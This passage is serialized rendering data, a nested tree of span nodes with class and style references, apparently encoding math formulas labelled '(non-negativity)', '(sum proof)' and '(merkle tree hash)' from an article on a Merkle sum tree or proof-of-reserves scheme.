ren":93345},{"className":93344},[3736],[93346],{"type":26,"tag":475,"props":93347,"children":93349},{"className":93348},[3741,21350],[93350,93379],{"type":26,"tag":475,"props":93351,"children":93353},{"className":93352},[3746],[93354,93374],{"type":26,"tag":475,"props":93355,"children":93357},{"className":93356,"style":93196},[3751],[93358],{"type":26,"tag":475,"props":93359,"children":93360},{"style":92723},[93361,93365],{"type":26,"tag":475,"props":93362,"children":93364},{"className":93363,"style":3761},[3760],[],{"type":26,"tag":475,"props":93366,"children":93368},{"className":93367},[3766,3767,3768,3769],[93369],{"type":26,"tag":475,"props":93370,"children":93372},{"className":93371},[3719,21296,3769],[93373],{"type":32,"value":3445},{"type":26,"tag":475,"props":93375,"children":93377},{"className":93376},[21453],[93378],{"type":32,"value":21456},{"type":26,"tag":475,"props":93380,"children":93382},{"className":93381},[3746],[93383],{"type":26,"tag":475,"props":93384,"children":93386},{"className":93385,"style":92750},[3751],[93387],{"type":26,"tag":475,"props":93388,"children":93389},{},[],{"type":26,"tag":475,"props":93391,"children":93393},{"className":93392},[21425],[93394],{"type":32,"value":3440},{"type":26,"tag":475,"props":93396,"children":93398},{"className":93397},[3719,21296],[93399],{"type":32,"value":116},{"type":26,"tag":475,"props":93401,"children":93403},{"className":93402},[3719,21296],[93404],{"type":32,"value":92658},{"type":26,"tag":475,"props":93406,"children":93408},{"className":93407},[3719,21296],[93409],{"type":32,"value":21438},{"type":26,"tag":475,"props":93411,"children":93413},{"className":93412,"style":92667},[3719],[93414],{"type":32,"value":2789},{"type":26,"tag":475,"props":93416,"children":93418},{"className":93417},[3719,21296],[93419],{"type":32,"value":56095},{"type":26,"tag":475,"props":93421,"children":93423},{"className":93422},[3719,21296],[93424],{"type":32,"value":92926},{"type":26,"tag":475,"props":93426,"children":93428},{"className":93427},[3719,21296],[93429],{"type":32,"value":50825},{"type":26,"tag":475,"props":93431,"children":93433},{"className":93432},[21447],[93434],{"type":32,"value":15117},{"type":26,"tag":475,"props":93436,"children":93438},{"className":93437,"style":3801},[3800],[],{"type":26,"tag":475,"props":93440,"children":93442},{"className":93441},[3806],[93443],{"type":32,"value":3809},{"type":26,"tag":475,"props":93445,"children":93447},{"className":93446,"style":3801},[3800],[],{"type":26,"tag":475,"props":93449,"children":93451},{"className":93450},[3708],[93452,93456,93461,93466,93471,93476,93481,93487,93492,93498,93503,93508,93513,93518,93523,93528,93533,93538],{"type":26,"tag":475,"props":93453,"children":93455},{"className":93454,"style":92609},[3713],[],{"type":26,"tag":475,"props":93457,"children":93459},{"className":93458},[3719,21296],[93460],{"type":32,"value":116},{"type":26,"tag":475,"props":93462,"children":93464},{"className":93463},[3719,21296],[93465],{"type":32,"value":92658},{"type":26,"tag":475,"props":93467,"children":93469},{"className":93468},[3719,21296],[93470],{"type":32,"value":21438},{"type":26,"tag":475,"props":93472,"children":93474},{"className":93473,"style":92667},[3719],[93475],{"type":32,"value":2789},{"type":26,"tag":475,"props":93477,"children":93479},{"className":93478},[3719,21296],[93480],{"type":32,"value":35},{"type":26,"tag":475,"props":93482,"children":93484},{"className":93483,"style":92667},[3719,21296],[93485],{"type":32,"value":93486},"r",{"type":26,"tag":475,"props":93488,"children":93490},{"className":93489},[3719,21296],[93491],{"type":32,"value":3445},{"type":26,"tag":475,"props":93493,"children":93495},{"className":93494},[3719,21296],[93496],{"type":32,"value":93497},"ces",{"type":26,"tag":475,"props":93499,"children":93501},{"className":93500},[21425],[93502],{"type":32,"value":3440},{"type":26,"tag":475,"props":93504,"children":93506},{"className":93505},[3719,21296],[93507],{"type":32,"value":116},{"type":26,"tag":475,"props":93509,"children":93511},{"className":93510},[3719,21296],[93512],{"type":32,"value":92658},{"type":26,"tag":475,"props":93514,"children":93516},{"className":93515},[3719,21296],[93517],{"type":32,"value":21438},{"type":26,"tag":475,"props":93519,"children":93521},{"className":93520,"style":92667},[3719],[93522],{"type":32,"value":2789},{"type":26,"tag":475,"props":93524,"children":93526},{"className":93525},[3719,21296],[93527],{"type":32,"value":56095},{"type":26,"tag":475,"props":93529,"children":93531},{"className":93530},[3719,21296],[93532],{"type":32,"value":92926},{"type":26,"tag":475,"props":93534,"children":93536},{"className":93535},[3719,21296],[93537],{"type":32,"value":50825},{"type":26,"tag":475,"props":93539,"children":93541},{"className":93540},[21447],[93542],{"type":32,"value":15117},{"type":26,"tag":86,"props":93544,"children":93545},{},[93546,93705,93706],{"type":26,"tag":53,"props":93547,"children":93549},{"className":93548},[3691,3692],[93550],{"type":26,"tag":475,"props":93551,"children":93553},{"className":93552},[3697],[93554],{"type":26,"tag":475,"props":93555,"children":93557},{"className":93556,"ariaHidden":3703},[3702],[93558,93691],{"type":26,"tag":475,"props":93559,"children":93561},{"className":93560},[3708],[93562,93566,93571,93576,93581,93586,93591,93596,93601,93606,93611,93616,93621,93678,93682,93687],{"type":26,"tag":475,"props":93563,"children":93565},{"className":93564,"style":93112},[3713],[],{"type":26,"tag":475,"props":93567,"children":93569},{"className":93568},[3719,21296],[93570],{"type":32,"value":116},{"type":26,"tag":475,"props":93572,"children":93574},{"className":93573},[3719,21296],[93575],{"type":32,"value":93124},{"type":26,"tag":475,"props":93577,"children":93579},{"className":93578},[3719,21296],[93580],{"type":32,"value":92926},{"type":26,"tag":475,"props":93582,"children":93584},{"className":93583},[3719,21296],[93585],{"type":32,"value":56095},{"type":26,"tag":475,"props":93587,"children":93589},{"className":93588},[3719,21296],[93590],{"type":32,"value":21438},{"type":26,"tag":475,"props":93592,"children":93594},{"className":93593,"style":92667},[3719],[93595],{"type":32,"value":2789},{"type":26,"tag":475,"props":93597,"children":93599},{"className":93598},[3719,21296],[93600],{"type":32,"value":689},{"type":26,"tag":475,"props":93602,"children":93604},{"className":93603,"style":93153},[3719,21296],[93605],{"type":32,"value":93156},{"type":26,"tag":475,"props":93607,"children":93609},{"className":93608},[3719,21296],[93610],{"type":32,"value":92926},{"type":26,"tag":475,"props":93612,"children":93614},{"className":93613},[3719,21296],[93615],{"type":32,"value":3445},{"type":26,"tag":475,"props":93617,"children":93619},{"className":93618},[3719,21296],[93620],{"type":32,"value":21438},{"type":26,"tag":475,"props":93622,"children":93624},{"className":93623},[3719],[93625,93630],{"type":26,"tag":475,"props":93626,"children":93628},{"className":93627,"style":93153},[3719,21296],[93629],{"type":32,"value":2821},{"type":26,"tag":475,"props":93631,"children":93633},{"className":93632},[3736],[93634],{"type":26,"tag":475,"props":93635,"children":93637},{"className":93636},[3741,21350],[93638,93667],{"type":26,"tag":475,"props":93639,"children":93641},{"className":93640},[3746],[93642,93662],{"type":26,"tag":475,"props":93643,"children":93645},{"className":93644,"style":93196},[3751],[93646],{"type":26,"tag":475,"props":93647,"children":93648},{"style":93200},[93649,93653],{"type":26,"tag":475,"props":93650,"children":93652},{"className":93651,"style":3761},[3760],[],{"type":26,"tag":475,"props":93654,"children":93656},{"className":93655},[3766,3767,3768,3769],[93657],{"type":26,"tag":475,"props":93658,"children":93660},{"className":93659},[3719,21296,3769],[93661],{"type":32,"value":3445},{"type":26,"tag":475,"props":93663,"children":93665},{"className":93664},[21453],[93666],{"type":32,"value":21456},{"type":26,"tag":475,"props":93668,"children":93670},{"className":93669},[3746],[93671],{"type":26,"tag":475,"props":93672,"children":93674},{"className":93673,"style":92750},[3751],[93675],{"type":26,"tag":475,"props":93676,"children":93677},{},[],{"type":26,"tag":475,"props":93679,"children":93681},{"className":93680,"style":3898},[3800],[],{"type":26,"tag":475,"props":93683,"children":93685},{"className":93684},[3903],[93686],{"type":32,"value":9652},{"type":26,"tag":475,"props":93688,"children":93690},{"className":93689,"style":3898},[3800],[],{"type":26,"tag":475,"props":93692,"children":93694},{"className":93693},[3708],[93695,93700],{"type":26,"tag":475,"props":93696,"children":93699},{"className":93697,"style":93698},[3713],"height:0.6444em;",[],{"type":26,"tag":475,"props":93701,"children":93703},{"className":93702},[3719],[93704],{"type":32,"value":3732},{"type":32,"value":6171},{"type":26,"tag":105,"props":93707,"children":93708},{},[93709],{"type":32,"value":93710},"(non-negativity)",{"type":26,"tag":86,"props":93712,"children":93713},{},[93714,94052,94053],{"type":26,"tag":53,"props":93715,"children":93717},{"className":93716},[3691,3692],[93718],{"type":26,"tag":475,"props":93719,"children":93721},{"className":93720},[3697],[93722],{"type":26,"tag":475,"props":93723,"children":93725},{"className":93724,"ariaHidden":3703},[3702],[93726,93862],{"type":26,"tag":475,"props":93727,"children":93729},{"className":93728},[3708],[93730,93734,93739,93744,93749,93754,93759,93764,93769,93774,93779,93784,93789,93794,93799,93804,93809,93814,93819,93824,93829,93834,93839,93844,93849,93853,93858],{"type":26,"tag":475,"props":93731,"children":93733},{"className":93732,"style":92609},[3713],[],{"type":26,"tag":475,"props":93735,"children":93737},{"className":93736},[3719,21296],[93738],{"type":32,"value":21438},{"type":26,"tag":475,"props":93740,"children":93742},{"className":93741},[3719,21296],[93743],{"type":32,"value":92637},{"type":26,"tag":475,"props":93745,"children":93747},{"className":93746},[3719,21296],[93748],{"type":32,"value":21438},{"type":26,"tag":475,"props":93750,"children":93752},{"className":93751},[3719,21296],[93753],{"type":32,"value":116},{"type":26,"tag":475,"props":93755,"children":93757},{"className":93756,"style":92679},[3719,21296],[93758],{"type":32,"value":92682},{"type":26,"tag":475,"props":93760,"children":93762},{"className":93761,"style":92667},[3719],[93763],{"type":32,"value":2789},{"type":26,"tag":475,"props":93765,"children":93767},{"className":93766},[3719,21296],[93768],{"type":32,"value":116},{"type":26,"tag":475,"props":93770,"children":93772},{"className":93771},[3719,21296],[93773],{"type":32,"value":92658},{"type":26,"tag":475,"props":93775,"children":93777},{"className":93776},[3719,21296],[93778],{"type":32,"value":21438},{"type":26,"tag":475,"props":93780,"children":93782},{"className":93781,"style":92667},[3719],[93783],{"type":32,"value":2789},{"type":26,"tag":475,"props":93785,"children":93787},{"className":93786},[3719,21296],[93788],{"type":32,"value":92675},{"type":26,"tag":475,"props":93790,"children":93792},{"className":93791,"style":92679},[3719,21296],[93793],{"type":32,"value":92682},{"type":26,"tag":475,"props":93795,"children":93797},{"className":93796},[3719,21296],[93798],{"type":32,"value":92688},{"type":26,"tag":475,"props":93800,"children":93802},{"className":93801},[3719,21296],[93803],{"type":32,"value":92694},{"type":26,"tag":475,"props":93805,"children":93807},{"className":93806},[21425],[93808],{"type":32,"value":3440},{"type":26,"tag":475,"props":93810,"children":93812},{"className":93811},[3719,21296],[93813],{"type":32,"value":116},{"type":26,"tag":475,"props":93815,"children":93817},{"className":93816},[3719,21296],[93818],{"type":32,"value":92658},{"type":26,"tag":475,"props":93820,"children":93822},{"className":93821},[3719,21296],[93823],{"type":32,"value":21438},{"type":26,"tag":475,"props":93825,"children":93827},{"className":93826,"style":92667},[3719],[93828],{"type":32,"value":2789},{"type":26,"tag":475,"props":93830,"children":93832},{"className":93831},[3719,21296],[93833],{"type":32,"value":56095},{"type":26,"tag":475,"props":93835,"children":93837},{"className":93836},[3719,21296],[93838],{"type":32,"value":92926},{"type":26,"tag":475,"props":93840,"children":93842},{"className":93841},[3719,21296],[93843],{"type":32,"value":50825},{"type":26,"tag":475,"props":93845,"children":93847},{"className":93846},[21447],[93848],{"type":32,"value":15117},{"type":26,"tag":475,"props":93850,"children":93852},{"className":93851,"style":3898},[3800],[],{"type":26,"tag":475,"props":93854,"children":93856},{"className":93855},[3903],[93857],{"type":32,"value":8287},{"type":26,"tag":475,"props":93859,"children":93861},{"className":93860,"style":3898},[3800],[],{"type":26,"tag":475,"props":93863,"children":93865},{"className":93864},[3708],[93866,93870,93875,93880,93885,93890,93895,93900,93905,93910,93915,93920,93925,93930,93935,93940,93945,93950,94007,94012,94017,94022,94027,94032,94037,94042,94047],{"type":26,"tag":475,"props":93867,"children":93869},{"className":93868,"style":92609},[3713],[],{"type":26,"tag":475,"props":93871,"children":93873},{"className":93872},[3719],[93874],{"type":32,"value":93257},{"type":26,"tag":475,"props":93876,"children":93878},{"className":93877},[3800],[93879],{"type":32,"value":21397},{"type":26,"tag":475,"props":93881,"children":93883},{"className":93882},[3719,21296],[93884],{"type":32,"value":116},{"type":26,"tag":475,"props":93886,"children":93888},{"className":93887},[3719,21296],[93889],{"type":32,"value":93124},{"type":26,"tag":475,"props":93891,"children":93893},{"className":93892},[3719,21296],[93894],{"type":32,"value":92926},{"type":26,"tag":475,"props":93896,"children":93898},{"className":93897},[3719,21296],[93899],{"type":32,"value":56095},{"type":26,"tag":475,"props":93901,"children":93903},{"className":93902},[3719,21296],[93904],{"type":32,"value":21438},{"type":26,"tag":475,"props":93906,"children":93908},{"className":93907,"style":92667},[3719],[93909],{"type":32,"value":2789},{"type":26,"tag":475,"props":93911,"children":93913},{"className":93912},[3719,21296],[93914],{"type":32,"value":116},{"type":26,"tag":475,"props":93916,"children":93918},{"className":93917},[3719,21296],[93919],{"type":32,"value":92658},{"type":26,"tag":475,"props":93921,"children":93923},{"className":93922},[3719,21296],[93924],{"type":32,"value":21438},{"type":26,"tag":475,"props":93926,"children":93928},{"className":93927,"style":92667},[3719],[93929],{"type":32,"value":2789},{"type":26,"tag":475,"props":93931,"children":93933},{"className":93932},[3719,21296],[93934],{"type":32,"value":92675},{"type":26,"tag":475,"props":93936,"children":93938},{"className":93937,"style":92679},[3719,21296],[93939],{"type":32,"value":92682},{"type":26,"tag":475,"props":93941,"children":93943},{"className":93942},[3719,21296],[93944],{"type":32,"value":92688},{"type":26,"tag":475,"props":93946,"children":93948},{"className":93947},[3719,21296],[93949],{"type":32,"value":92694},{"type":26,"tag":475,"props":93951,"children":93953},{"className":93952},[3719],[93954,93959],{"type":26,"tag":475,"props":93955,"children":93957},{"className":93956},[3719,21296],[93958],{"type":32,"value":10360},{"type":26,"tag":475,"props":93960,"children":93962},{"className":93961},[3736],[93963],{"type":26,"tag":475,"props":93964,"children":93966},{"className":93965},[3741,21350],[93967,93996],{"type":26,"tag":475,"props":93968,"children":93970},{"className":93969},[3746],[93971,93991],{"type":26,"tag":475,"props":93972,"children":93974},{"className":93973,"style":93196},[3751],[93975],{"type":26,"tag":475,"props":93976,"children":93977},{"style":92723},[93978,93982],{"type":26,"tag":475,"props":93979,"children":93981},{"className":93980,"style":3761},[3760],[],{"type":26,"tag":475,"props":93983,"children":93985},{"className":93984},[3766,3767,3768,3769],[93986],{"type":26,"tag":475,"props":93987,"children":93989},{"className":93988},[3719,21296,3769],[93990],{"type":32,"value":3445},{"type":26,"tag":475,"props":93992,"children":93994},{"className":93993},[21453],[93995],{"type":32,"value":21456},{"type":26,"tag":475,"props":93997,"children":93999},{"className":93998},[3746],[94000],{"type":26,"tag":475,"props":94001,"children":94003},{"className":94002,"style":92750},[3751],[94004],{"type":26,"tag":475,"props":94005,"children":94006},{},[],{"type":26,"tag":475,"props":94008,"children":94010},{"className":94009},[21425],[94011],{"type":32,"value":3440},{"type":26,"tag":475,"props":94013,"children":94015},{"className":94014},[3719,21296],[94016],{"type":32,"value":116},{"type":26,"tag":475,"props":94018,"children":94020},{"className":94019},[3719,21296],[94021],{"type":32,"value":92658},{"type":26,"tag":475,"props":94023,"children":94025},{"className":94024},[3719,21296],[94026],{"type":32,"value":21438},{"type":26,"tag":475,"props":94028,"children":94030},{"className":94029,"style":92667},[3719],[94031],{"type":32,"value":2789},{"type":26,"tag":475,"props":94033,"children":94035},{"className":94034},[3719,21296],[94036],{"type":32,"value":56095},{"type":26,"tag":475,"props":94038,"children":94040},{"className":94039},[3719,21296],[94041],{"type":32,"value":92926},{"type":26,"tag":475,"props":94043,"children":94045},{"className":94044},[3719,21296],[94046],{"type":32,"value":50825},{"type":26,"tag":475,"props":94048,"children":94050},{"className":94049},[21447],[94051],{"type":32,"value":15117},{"type":32,"value":6171},{"type":26,"tag":105,"props":94054,"children":94055},{},[94056],{"type":32,"value":94057},"(sum proof)",{"type":26,"tag":86,"props":94059,"children":94060},{},[94061,94450,94451],{"type":26,"tag":53,"props":94062,"children":94064},{"className":94063},[3691,3692],[94065],{"type":26,"tag":475,"props":94066,"children":94068},{"className":94067},[3697],[94069],{"type":26,"tag":475,"props":94070,"children":94072},{"className":94071,"ariaHidden":3703},[3702],[94073,94159],{"type":26,"tag":475,"props":94074,"children":94076},{"className":94075},[3708],[94077,94082,94087,94093,94099,94104,94109,94114,94119,94125,94130,94136,94141,94146,94150,94155],{"type":26,"tag":475,"props":94078,"children":94081},{"className":94079,"style":94080},[3713],"height:1.0044em;vertical-align:-0.31em;",[],{"type":26,"tag":475,"props":94083,"children":94085},{"className":94084},[3719,21296],[94086],{"type":32,"value":50825},{"type":26,"tag":475,"props":94088,"children":94090},{"className":94089,"style":92667},[3719,21296],[94091],{"type":32,"value":94092},"er",{"type":26,"tag":475,"props":94094,"children":94097},{"className":94095,"style":94096},[3719,21296],"margin-right:0.03148em;",[94098],{"type":32,"value":88304},{"type":26,"tag":475,"props":94100,"children":94102},{"className":94101,"style":92679},[3719,21296],[94103],{"type":32,"value":92682},{"type":26,"tag":475,"props":94105,"children":94107},{"className":94106},[3719,21296],[94108],{"type":32,"value":689},{"type":26,"tag":475,"props":94110,"children":94112},{"className":94111,"style":92667},[3719],[94113],{"type":32,"value":2789},{"type":26,"tag":475,"props":94115,"children":94117},{"className":94116},[3719,21296],[94118],{"type":32,"value":21438},{"type":26,"tag":475,"props":94120,"children":94122},{"className":94121},[3719,21296],[94123],{"type":32,"value":94124},"ree",{"type":26,"tag":475,"props":94126,"children":94128},{"className":94127,"style":92667},[3719],[94129],{"type":32,"value":2789},{"type":26,"tag":475,"props":94131,"children":94133},{"className":94132},[3719,21296],[94134],{"type":32,"value":94135},"ha",{"type":26,"tag":475,"props":94137,"children":94139},{"className":94138},[3719,21296],[94140],{"type":32,"value":10360},{"type":26,"tag":475,"props":94142,"children":94144},{"className":94143},[3719,21296],[94145],{"type":32,"value":83967},{"type":26,"tag":475,"props":94147,"children":94149},{"className":94148,"style":3898},[3800],[],{"type":26,"tag":475,"props":94151,"children":94153},{"className":94152},[3903],[94154],{"type":32,"value":8287},{"type":26,"tag":475,"props":94156,"children":94158},{"className":94157,"style":3898},[3800],[],{"type":26,"tag":475,"props":94160,"children":94162},{"className":94161},[3708],[94163,94167,94172,94177,94182,94187,94192,94197,94202,94207,94212,94269,94274,94278,94283,94288,94345,94350,94355,94359,94364,94369,94373,94378,94383,94445],{"type":26,"tag":475,"props":94164,"children":94166},{"className":94165,"style":3821},[3713],[],{"type":26,"tag":475,"props":94168,"children":94170},{"className":94169,"style":21297},[3719,21296],[94171],{"type":32,"value":21300},{"type":26,"tag":475,"props":94173,"children":94175},{"className":94174},[3719,21296],[94176],{"type":32,"value":92621},{"type":26,"tag":475,"props":94178,"children":94180},{"className":94179},[3719,21296],[94181],{"type":32,"value":3445},{"type":26,"tag":475,"props":94183,"children":94185},{"className":94184},[3719,21296],[94186],{"type":32,"value":621},{"type":26,"tag":475,"props":94188,"children":94190},{"className":94189},[3719,21296],[94191],{"type":32,"value":92637},{"type":26,"tag":475,"props":94193,"children":94195},{"className":94194},[3719,21296],[94196],{"type":32,"value":56095},{"type":26,"tag":475,"props":94198,"children":94200},{"className":94199},[21425],[94201],{"type":32,"value":626},{"type":26,"tag":475,"props":94203,"children":94205},{"className":94204},[3719,21296],[94206],{"type":32,"value":94135},{"type":26,"tag":475,"props":94208,"children":94210},{"className":94209},[3719,21296],[94211],{"type":32,"value":10360},{"type":26,"tag":475,"props":94213,"children":94215},{"className":94214},[3719],[94216,94221],{"type":26,"tag":475,"props":94217,"children":94219},{"className":94218},[3719,21296],[94220],{"type":32,"value":83967},{"type":26,"tag":475,"props":94222,"children":94224},{"className":94223},[3736],[94225],{"type":26,"tag":475,"props":94226,"children":94228},{"className":94227},[3741,21350],[94229,94258],{"type":26,"tag":475,"props":94230,"children":94232},{"className":94231},[3746],[94233,94253],{"type":26,"tag":475,"props":94234,"children":94236},{"className":94235,"style":92719},[3751],[94237],{"type":26,"tag":475,"props":94238,"children":94239},{"style":92723},[94240,94244],{"type":26,"tag":475,"props":94241,"children":94243},{"className":94242,"style":3761},[3760],[],{"type":26,"tag":475,"props":94245,"children":94247},{"className":94246},[3766,3767,3768,3769],[94248],{"type":26,"tag":475,"props":94249,"children":94251},{"className":94250},[3719,3769],[94252],{"type":32,"value":3732},{"type":26,"tag":475,"props":94254,"children":94256},{"className":94255},[21453],[94257],{"type":32,"value":21456},{"type":26,"tag":475,"props":94259,"children":94261},{"className":94260},[3746],[94262],{"type":26,"tag":475,"props":94263,"children":94265},{"className":94264,"style":92750},[3751],[94266],{"type":26,"tag":475,"props":94267,"children":94268},{},[],{"type":26,"tag":475,"props":94270,"children":94272},{"className":94271},[3832],[94273],{"type":32,"value":3835},{"type":26,"tag":475,"props":94275,"children":94277},{"className":94276,"style":3839},[3800],[],{"type":26,"tag":475,"props":94279,"children":94281},{"className":94280},[3719,21296],[94282],{"type":32,"value":94135},{"type":26,"tag":475,"props":94284,"children":94286},{"className":94285},[3719,21296],[94287],{"type":32,"value":10360},{"type":26,"tag":475,"props":94289,"children":94291},{"className":94290},[3719],[94292,94297],{"type":26,"tag":475,"props":94293,"children":94295},{"className":94294},[3719,21296],[94296],{"type":32,"value":83967},{"type":26,"tag":475,"props":94298,"children":94300},{"className":94299},[3736],[94301],{"type":26,"tag":475,"props":94302,"children":94304},{"className":94303},[3741,21350],[94305,94334],{"type":26,"tag":475,"props":94306,"children":94308},{"className":94307},[3746],[94309,94329],{"type":26,"tag":475,"props":94310,"children":94312},{"className":94311,"style":92719},[3751],[94313],{"type":26,"tag":475,"props":94314,"children":94315},{"style":92723},[94316,94320],{"type":26,"tag":475,"props":94317,"children":94319},{"className":94318,"style":3761},[3760],[],{"type":26,"tag":475,"props":94321,"children":94323},{"className":94322},[3766,3767,3768,3769],[94324],{"type":26,"tag":475,"props":94325,"children":94327},{"className":94326},[3719,3769],[94328],{"type":32,"value":3722},{"type":26,"tag":475,"props":94330,"children":94332},{"className":94331},[21453],[94333],{"type":32,"value":21456},{"type":26,"tag":475,"props":94335,"children":94337},{"className":94336},[3746],[94338],{"type":26,"tag":475,"props":94339,"children":94341},{"className":94340,"style":92750},[3751],[94342],{"type":26,"tag":475,"props":94343,"children":94344},{},[],{"type":26,"tag":475,"props":94346,"children":94348},{"className":94347},[3832],[94349],{"type":32,"value":3835},{"type":26,"tag":475,"props":94351,"children":94353},{"className":94352},[3800],[94354],{"type":32,"value":21397},{"type":26,"tag":475,"props":94356,"children":94358},{"className":94357,"style":3839},[3800],[],{"type":26,"tag":475,"props":94360,"children":94362},{"className":94361},[3719],[94363],{"type":32,"value":9300},{"type":26,"tag":475,"props":94365,"children":94367},{"className":94366},[3832],[94368],{"type":32,"value":3835},{"type":26,"tag":475,"props":94370,"children":94372},{"className":94371,"style":3839},[3800],[],{"type":26,"tag":475,"props":94374,"children":94376},{"className":94375},[3719,21296],[94377],{"type":32,"value":94135},{"type":26,"tag":475,"props":94379,"children":94381},{"className":94380},[3719,21296],[94382],{"type":32,"value":10360},{"type":26,"tag":475,"props":94384,"children":94386},{"className":94385},[3719],[94387,94392],{"type":26,"tag":475,"props":94388,"children":94390},{"className":94389},[3719,21296],[94391],{"type":32,"value":83967},{"type":26,"tag":475,"props":94393,"children":94395},{"className":94394},[3736],[94396],{"type":26,"tag":475,"props":94397,"children":94399},{"className":94398},[3741,21350],[94400,94434],{"type":26,"tag":475,"props":94401,"children":94403},{"className":94402},[3746],[94404,94429],{"type":26,"tag":475,"props":94405,"children":94407},{"className":94406,"style":92719},[3751],[94408],{"type":26,"tag":475,"props":94409,"children":94410},{"style":92723},[94411,94415],{"type":26,"tag":475,"props":94412,"children":94414},{"className":94413,"style":3761},[3760],[],{"type":26,"tag":475,"props":94416,"children":94418},{"className":94417},[3766,3767,3768,3769],[94419],{"type":26,"tag":475,"props":94420,"children":94422},{"className":94421},[3719,3769],[94423],{"type":26,"tag":475,"props":94424,"children":94426},{"className":94425},[3719,3769],[94427],{"type":32,"value":94428},"511",{"type":26,"tag":475,"props":94430,"children":94432},{"className":94431},[21453],[94433],{"type":32,"value":21456},{"type":26,"tag":475,"props":94435,"children":94437},{"className":94436},[3746],[94438],{"type":26,"tag":475,"props":94439,"children":94441},{"className":94440,"style":92750},[3751],[94442],{"type":26,"tag":475,"props":94443,"children":94444},{},[],{"type":26,"tag":475,"props":94446,"children":94448},{"className":94447},[21447],[94449],{"type":32,"value":2835},{"type":32,"value":6171},{"type":26,"tag":105,"props":94452,"children":94453},{},[94454],{"type":32,"value":94455},"(merkle tree hash)",{"type":26,"tag":86,"props":94457,"children":94458},{},[94459,94734,94735,94740,94742,94747],{"type":26,"tag":53,"props":94460,"children":94462},{"className":94461},[3691,3692],[94463],{"type":26,"tag":475,"props":94464,"children":94466},{"className":94465},[3697],[94467],{"type":26,"tag":475,"props":94468,"children":94470},{"className":94469,"ariaHidden":3703},[3702],[94471,94664],{"type":26,"tag":475,"props":94472,"children":94474},{"className":94473},[3708],[94475,94479,94484,94489,94494,94499,94504,94509,94514,94519,94524,94529,94534,94539,94544,94549,94606,94611,94616,94621,94626,94631,94636,94641,94646,94651,94655,94660],{"type":26,"tag":475,"props":94476,"children":94478},{"className":94477,"style":92609},[3713],[],{"type":26,"tag":475,"props":94480,"children":94482},{"className":94481},[3719,21296],[94483],{"type":32,"value":116},{"type":26,"tag":475,"props":94485,"children":94487},{"className":94486},[3719,21296],[94488],{"type":32,"value":93124},{"type":26,"tag":475,"props":94490,"children":94492},{"className":94491},[3719,21296],[94493],{"type":32,"value":92926},{"type":26,"tag":475,"props":94495,"children":94497},{"className":94496},[3719,21296],[94498],{"type":32,"value":56095},{"type":26,"tag":475,"props":94500,"children":94502},{"className":94501},[3719,21296],[94503],{"type":32,"value":21438},{"type":26,"tag":475,"props":94505,"children":94507},{"className":94506,"style":92667},[3719],[94508],{"type":32,"value":2789},{"type":26,"tag":475,"props":94510,"children":94512},{"className":94511},[3719,21296],[94513],{"type":32,"value":116},{"type":26,"tag":475,"props":94515,"children":94517},{"className":94516},[3719,21296],[94518],{"type":32,"value":92658},{"type":26,"tag":475,"props":94520,"children":94522},{"className":94521},[3719,21296],[94523],{"type":32,"value":21438},{"type":26,"tag":475,"props":94525,"children":94527},{"className":94526,"style":92667},[3719],[94528],{"type":32,"value":2789},{"type":26,"tag":475,"props":94530,"children":94532},{"className":94531},[3719,21296],[94533],{"type":32,"value":92675},{"type":26,"tag":475,"props":94535,"children":94537},{"className":94536,"style":92679},[3719,21296],[94538],{"type":32,"value":92682},{"type":26,"tag":475,"props":94540,"children":94542},{"className":94541},[3719,21296],[94543],{"type":32,"value":92688},{"type":26,"tag":475,"props":94545,"children":94547},{"className":94546},[3719,21296],[94548],{"type":32,"value":92694},{"type":26,"tag":475,"props":94550,"children":94552},{"className":94551},[3719],[94553,94558],{"type":26,"tag":475,"props":94554,"children":94556},{"className":94555},[3719,21296],[94557],{"type":32,"value":10360},{"type":26,"tag":475,"props":94559,"children":94561},{"className":94560},[3736],[94562],{"type":26,"tag":475,"props":94563,"children":94565},{"className":94564},[3741,21350],[94566,94595],{"type":26,"tag":475,"props":94567,"children":94569},{"className":94568},[3746],[94570,94590],{"type":26,"tag":475,"props":94571,"children":94573},{"className":94572,"style":93196},[3751],[94574],{"type":26,"tag":475,"props":94575,"children":94576},{"style":92723},[94577,94581],{"type":26,"tag":475,"props":94578,"children":94580},{"className":94579,"style":3761},[3760],[],{"type":26,"tag":475,"props":94582,"children":94584},{"className":94583},[3766,3767,3768,3769],[94585],{"type":26,"tag":475,"props":94586,"children":94588},{"className":94587},[3719,21296,3769],[94589],{"type":32,"value":3445},{"type":26,"tag":475,"props":94591,"children":94593},{"className":94592},[21453],[94594],{"type":32,"value":21456},{"type":26,"tag":475,"props":94596,"children":94598},{"className":94597},[3746],[94599],{"type":26,"tag":475,"props":94600,"children":94602},{"className":94601,"style":92750},[3751],[94603],{"type":26,"tag":475,"props":94604,"children":94605},{},[],{"type":26,"tag":475,"props":94607,"children":94609},{"className":94608},[21425],[94610],{"type":32,"value":3440},{"type":26,"tag":475,"props":94612,"children":94614},{"className":94613},[3719,21296],[94615],{"type":32,"value":116},{"type":26,"tag":475,"props":94617,"children":94619},{"className":94618},[3719,21296],[94620],{"type":32,"value":92658},{"type":26,"tag":475,"props":94622,"children":94624},{"className":94623},[3719,21296],[94625],{"type":32,"value":21438},{"type":26,"tag":475,"props":94627,"children":94629},{"className":94628,"style":92667},[3719],[94630],{"type":32,"value":2789},{"type":26,"tag":475,"props":94632,"children":94634},{"className":94633},[3719,21296],[94635],{"type":32,"value":56095},{"type":26,"tag":475,"props":94637,"children":94639},{"className":94638},[3719,21296],[94640],{"type":32,"value":92926},{"type":26,"tag":475,"props":94642,"children":94644},{"className":94643},[3719,21296],[94645],{"type":32,"value":50825},{"type":26,"tag":475,"props":94647,"children":94649},{"className":94648},[21447],[94650],{"type":32,"value":15117},{"type":26,"tag":475,"props":94652,"children":94654},{"className":94653,"style":3898},[3800],[],{"type":26,"tag":475,"props":94656,"children":94658},{"className":94657},[3903],[94659],{"type":32,"value":5519},{"type":26,"tag":475,"props":94661,"children":94663},{"className":94662,"style":3898},[3800],[],{"type":26,"tag":475,"props":94665,"children":94667},{"className":94666},[3708],[94668,94672,94679,94684,94690,94695,94700,94705,94711,94716,94722,94728],{"type":26,"tag":475,"props":94669,"children":94671},{"className":94670,"style":92609},[3713],[],{"type":26,"tag":475,"props":94673,"children":94676},{"className":94674,"style":94675},[3719,21296],"margin-right:0.10903em;",[94677],{"type":32,"value":94678},"M",{"type":26,"tag":475,"props":94680,"children":94682},{"className":94681},[3719,21296],[94683],{"type":32,"value":76396},{"type":26,"tag":475,"props":94685,"children":94688},{"className":94686,"style":94687},[3719,21296],"margin-right:0.07847em;",[9468